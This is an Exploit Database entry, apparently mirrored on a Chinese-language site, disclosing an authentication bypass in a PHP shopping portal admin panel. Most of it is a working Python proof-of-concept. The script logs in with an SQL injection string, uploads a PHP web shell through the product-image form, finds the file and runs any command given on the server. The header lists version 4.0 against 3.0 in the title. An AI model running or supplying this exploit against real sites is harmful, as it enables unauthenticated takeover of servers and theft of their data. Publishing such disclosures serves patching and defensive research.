Shopping Portal ProVersion 3.0 – Authentication Bypass

Exploit Database
127 阅读

作者： Metin Yunus Kandemir

日期： 2020-01-01
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/47834/

# Exploit Title: Shopping Portal ProVersion 3.0 - Authentication Bypass

# Exploit Author: Metin Yunus Kandemir (kandemir)

# Vendor Homepage: https://phpgurukul.com/

# Software Link: https://phpgurukul.com/shopping-portal-free-download/

# Version: v4.0

# Category: Webapps

# Tested on: Xampp for Windows

# Description:

# Password and username parameters have sql injection vulnerability on admin panel.

# username: joke' or '1'='1'# , password: joke' or '1'='1'#

# Also, there isn't any restriction for malicious file uploading in the "Insert Product" section.

# This two vulnerabilities occur unauthenticated remote command execution.

#!/usr/bin/python

import requests

import sys

import urllib

if (len(sys.argv) !=3) or sys.argv[1] == "-h":

print "[*] Usage: PoC.py rhost/rpath command"

print "[*] e.g.: PoC.py 127.0.0.1/shopping ipconfig"

exit(0)

rhost = sys.argv[1]

command = sys.argv[2]

url = "http://"+rhost+"/admin/index.php"

data = {"username": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}

with requests.Session() as session:

#login

lg = login = session.post(url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})

print ("[*] Status code for login: %s"%lg.status_code)

if lg.status_code != 200:

print ("One bad day! Check web application path!")

sys.exit()

#upload file

files = {'productimage1': ('command.php', '<?php system($_GET["cmd"]); ?>'), 'productimage2': ('joke.txt', 'joke'), 'productimage3': ('joke.txt', 'joke')}

fdata = {"category": "3", "subcategory": "8", "productName": "the killing joke", "productCompany": "blah", "productpricebd": "0", "productprice": "0", "productDescription": "blah<br>", "productShippingcharge": "0", "productAvailability": "In Stock", "productimage1": "command.php", "productimage2": "joke.txt", "productimage3": "joke.txt", "submit": ""}

furl = "http://"+rhost+"/admin/insert-product.php"

fupload = session.post(url=furl, files=files, data=fdata)

print ("[*] Status code for file uploading: %s"%fupload.status_code)

if fupload.status_code != 200:

print ("One bad day! File didn't upload.")

sys.exit()

dir = 0

dirr = str(dir)

#find uploaded file

while True:

el = eurl = session.get("http://"+rhost+"/admin/productimages/"+dirr+"/command.php")

if el.status_code == 200:

print "File Found!"

print "Put On A Happy Face!\r\n\r\n"

print ("uploaded file location: http://%s/admin/prductimages/%s/command.php?id=%s"%(rhost,dirr,command))

break

else:

print "trying to find uploaded file..."

dir += 1

dirr = str(dir)

#exec

final=session.get("http://"+rhost+"/admin/productimages/"+dirr+"/command.php?cmd="+command)

print final.text